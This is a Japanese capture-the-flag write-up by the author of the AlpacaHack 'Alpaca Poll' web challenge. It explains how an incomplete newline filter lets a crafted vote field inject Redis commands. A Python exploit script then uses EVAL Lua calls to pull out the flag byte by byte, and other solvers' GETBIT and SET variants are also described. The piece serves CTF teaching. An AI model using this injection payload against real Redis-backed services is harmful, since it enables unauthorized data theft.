2024年11月30日の12時から18時にかけて、AlpacaHack Round 7 (Web)が開催されました。4問出題されたうちのAlpaca Pollという1問を作問しましたので、作問者の視点で想定していた解法やその意図を紹介したいと思います。なお、今回出題した問題については、GitHubリポジトリで公開しているほか、AlpacaHackのプラットフォーム上で今からでも挑戦できます。
[Web 146] Alpaca Poll (42 solves)
犬、猫、アルパカ。この中で最も愛されている動物を決める日がやってきたパカ!
Dog, cat, and alpaca. Which animal is your favorite?
添付ファイル: alpaca-poll.tar.gz
概要
添付ファイルを展開して docker compose up -d --build
するか、AlpacaHackプラットフォームの "Spawn Challenge Server" ボタンから問題サーバを立ち上げます。サーバにアクセスすると、次のように犬、猫、アルパカのいずれかに投票できるWebアプリが表示されます。
クライアント側のJSコードやDevToolsのNetworkタブなどを見てみると、以下の2つのAPIがあることがわかります。
GET /votes
:{"dog":88,"cat":11,"alpaca":10000}
のようなJSONを返し、現在の投票数を確認できるPOST /vote
:animal=dog
のように投票先を指定して投票できる
ソースコードを読んでいきましょう。compose.yaml
は次のとおりです。フラグは環境変数から設定されているようです。
services: alpaca-poll: build: ./web restart: unless-stopped init: true ports: - ${PORT:-3000}:3000 environment: - FLAG=Alpaca{REDACTED}
Dockerfile
によると、CMD ["/app/start.sh"]
とエントリーポイントは /app/start.sh
にあるようですから、このシェルスクリプトを確認します。どうやら、Redisのサーバを立ち上げてから、index.js
をNode.jsで実行するという流れのようです。
#!/bin/bash redis-server ./redis.conf & sleep 3 node index.js
index.js
は次のとおりです。投票結果の取得(getVotes
)や投票(vote
)、また最初に行われるデータベースの初期化(init
)といった関数は db.js
で定義されているようです。
import fs from 'node:fs/promises'; import express from 'express'; import { init, vote, getVotes } from './db.js'; const PORT = process.env.PORT || 3000; const FLAG = process.env.FLAG || 'Alpaca{dummy}'; process.on('uncaughtException', (error) => { console.error('Uncaught Exception:', error); }); const app = express(); app.use(express.urlencoded({ extended: false })); app.use(express.static('static')); const indexHtml = (await fs.readFile('./static/index.html')).toString(); app.get('/', async (req, res) => { res.setHeader('Content-Type', 'text/html'); return res.send(indexHtml); }); app.post('/vote', async (req, res) => { let animal = req.body.animal || 'alpaca'; // animal must be a string animal = animal + ''; // no injection, please animal = animal.replace('\r', '').replace('\n', ''); try { return res.json({ [animal]: await vote(animal) }); } catch { return res.json({ error: 'something wrong' }); } }); app.get('/votes', async (req, res) => { return res.json(await getVotes()); }); await init(FLAG); // initialize Redis app.listen(PORT, () => { console.log(`server listening on ${PORT}`); });
db.js
を見ていきましょう。まず気になるのは、なぜか node-redis
のような便利な既存のパッケージを使わず、自前でRESPというプロトコルを喋ってRedisとやり取りしている点です。
import net from 'node:net'; function connect() { return new Promise(resolve => { const socket = net.connect('6379', 'localhost', () => { resolve(socket); }); }); } function send(socket, data) { console.info('[send]', JSON.stringify(data)); socket.write(data); return new Promise(resolve => { socket.on('data', data => { console.info('[recv]', JSON.stringify(data.toString())); resolve(data.toString()); }) }); }
データベースの初期化を行う init
関数の定義は次のとおりです。アルパカへの投票数が不正に操作されているのは置いておいて、SET
というコマンドを用いて投票数等に初期値を設定しています。
注目すべきは、message += `SET flag ${flag}\r\n`; // please exfiltrate this
という処理です。どうやら flag
というキーでフラグがRedisに格納されているようです。なんとかしてこの内容を外部に持ち出すことはできないでしょうか。
export async function init(flag) { const socket = await connect(); let message = ''; for (const animal of ANIMALS) { const votes = animal === 'alpaca' ? 10000 : Math.random() * 100 | 0; message += `SET ${animal} ${votes}\r\n`; } message += `SET flag ${flag}\r\n`; // please exfiltrate this await send(socket, message); socket.destroy(); }
GET /votes
に対応する処理である getVotes
は次のとおりです。GET
コマンドで dog
, cat
, alpaca
というキーの値をそれぞれ取得し、parseInt
で数値化した上で返しています。/\$\d+\r\n(\d+)/g
という謎の正規表現がありますが、これはRedisから返ってきたRESPのレスポンスから、各キーの値を抽出するものです。
ここで取得されているキーは ANIMALS
という配列で指定されている固定のもので、ユーザ入力は受け付けていませんから、たとえば flag
の値を返させることはできません。
const ANIMALS = ['dog', 'cat', 'alpaca']; export async function getVotes() { const socket = await connect(); let message = ''; for (const animal of ANIMALS) { message += `GET ${animal}\r\n`; } const reply = await send(socket, message); socket.destroy(); let result = {}; for (const [index, match] of Object.entries([...reply.matchAll(/\$\d+\r\n(\d+)/g)])) { result[ANIMALS[index]] = parseInt(match[1], 10); } return result; }
POST /vote
に対応する処理である vote
と、関連する index.js
の処理は次のとおりです。getVotes
と異なりユーザ入力を受け付けています。ここで、なにかSQL Injectionのような形でデータを抽出するような攻撃はできないでしょうか。
export async function vote(animal) { const socket = await connect(); const message = `INCR ${animal}\r\n`; const reply = await send(socket, message); socket.destroy(); return parseInt(reply.match(/:(\d+)/)[1], 10); // the format of response is like `:23`, so this extracts only the number }
NoSQL Injectionでflagの内容を得る
POST /vote
においてユーザが入力した動物が dog
, cat
, alpaca
のいずれかかどうかはまったく確認されていません。たとえば、flag
を入力するとどうなるのでしょうか。
試しに docker run --rm -it --name redis-test redis:latest
でRedisサーバを立ち上げて、その結果を確かめてみましょう。すると、flag
に入っているのが文字列であるためか、INCR flag
でエラーが起きているのがわかります。
そもそも、たとえこれで flag
の内容が得られていたとしても、parseInt(reply.match(/:(\d+)/)[1], 10)
のように強引に数値化されてしまいます。フラグは数値ではありませんから、NaN
になってしまいます。
$ docker exec -it redis-test redis-cli 127.0.0.1:6379> SET flag FLAG{DUMMY} OK 127.0.0.1:6379> GET flag "FLAG{DUMMY}" 127.0.0.1:6379> INCR flag (error) ERR value is not an integer or out of range 127.0.0.1:6379> GET flag "FLAG{DUMMY}" 127.0.0.1:6379>
では、どうすればよいでしょうか。index.js
の POST /vote
の処理を見てみると、次のように String.prototype.replace
を使ってキャリッジリターンやラインフィードを削除していることがわかります。これは、getVotes
の例を見てもわかりますが、RESPでは改行文字をコマンド等の区切りとして用いているので、ユーザによって改行文字を挿入して INCR
以外のコマンドを実行されることを防ぐためです。
let animal = req.body.animal || 'alpaca'; // animal must be a string animal = animal + ''; // no injection, please animal = animal.replace('\r', '').replace('\n', '');
しかしながら、すべての改行文字を削除したいのであれば、animal.replace('\r', '').replace('\n', '')
のような String.prototype.replace
の使い方をすべきではありません。MDNの解説を読んでみると、次のような記述が見つかります。
文字列パターンは一度だけ置換されます。 グローバルな検索と置換を行うには、正規表現を
g
フラグで使用するか、代わりにreplaceAll()
を使用してください。
つまり、.replace(/\r/g, '')
か .replaceAll('\r', '')
のようにしなければ、2個目以降の改行文字は削除されないわけです。たとえば、'\r\r\r'.replace('\r', '')
をDevToolsのコンソールやNode.jsのREPLで実行してみると、返ってくるのは '\r\r'
という文字列であることが確認できます。これを利用して INCR
以外のコマンドを実行させることができそうです。
では、どのようなコマンドを実行すればよいでしょうか。Redisのコマンド一覧を見ると色々有用そうなものがありますが、今回は EVAL
コマンドを使ってみましょう。これは、Redis上でLuaスクリプトを実行できるという大変便利なコマンドです。
このLuaスクリプトからは redis.call
という関数でRedisのコマンドを呼び出し、その実行結果を受け取ることもできます。string.byte
を使えばi文字目の文字コードを取得するということもできますから、これらをあわせてフラグを1文字ずつ手に入れることができそうです。
127.0.0.1:6379> EVAL "return redis.call('GET', 'flag'):byte(1)" 0 (integer) 65
解く
では、これまでの成果をまとめて、フラグを1文字ずつ抽出するexploitを、Pythonとhttpxというライブラリを用いて書きましょう。
import os import httpx HOST = os.getenv("HOST", "localhost") PORT = int(os.getenv("PORT", 3000)) with httpx.Client(base_url=f"http://{HOST}:{PORT}") as client: flag = '' i = 1 while not flag.endswith('}'): r = client.post('/vote', data={ 'animal': f'''a b\n\neval "return redis.call('GET', 'flag'):byte({i})" 0''' }).json() flag += chr(list(r.values())[0]) print(flag) i += 1
実行するとフラグが得られました。
$ python3 s.py A Al Alp … Alpaca{ezotanuki_mofumofu}
Alpaca{ezotanuki_mofumofu}
その他の解法
GETBITコマンドで1ビットずつフラグを得る
CTF終了後にwriteup等を眺めていると、maple3142さんやyuratwcさんは EVAL
の代わりに GETBIT
というコマンドを用いていたようでした。これは文字列の指定したビットを取得できるというものです。たしかに、このコマンドはビットを数値として返すので、POST /vote
から parseInt
を気にせずにその値を得て、1ビットずつフラグを抽出することができます。
SETコマンドでdogやcatなどに数値をセットする
ほかにも、たとえばt-chenさんの解法では、EVAL
コマンドは使うものの、redis.call('SET', 'dog', string.byte(…))
のようにして dog
や cat
といったキーにフラグのi文字目の文字コードをセットしていました。たしかに、この方法であればセットされたその値を GET /votes
から取得できます。
作問の背景
NoSQL Injectionするだろうことは一見して明らかだけれども、どういう状況下で攻撃できるのか、また「フラグを取得する」という目的を達成するにはどのようにして脆弱性を悪用すればよいのかという点を考える必要のある問題にしたいと思いつつ作りました。つまり、ただこういう種類の脆弱性があると知っているだけでなく、攻撃を成立させられるかどうかを問いたかったわけです。
よくCTFを遊ぶプレイヤーからすると典型問題に感じられるかと思いますが、そもそも競技時間が6時間と非常に短い上にほかにも3問あること、また「初心者を含め様々なレベルの方に楽しんでいただ」くために、難易度を抑えました。
NoSQL Injectionへ誘導するためにわざわざ "no injection please" と言ったりだとか、"animal must be a string" と animal
というパラメータは文字列に変換されるので、なにか変なオブジェクトを仕込むような問題ではないと示唆したりだとか、(私が作る問題にありがちなことですが)色々コメントを仕込んでいます。これらはちゃんと誘導として機能していたでしょうか。
redis.conf
では SLAVEOF
や CONFIG
のようなヤバそうなコマンドを封じていました。実際に悪用できるかどうかは一切確認していませんが、たとえ別解を歓迎していても、なにかこれがあることで極端に簡単に解けるというコマンドがあると嫌だなあという適当な理由からです。ここまでで述べた解法とは方向性のまったく異なるアプローチがあれば、ぜひ教えてください。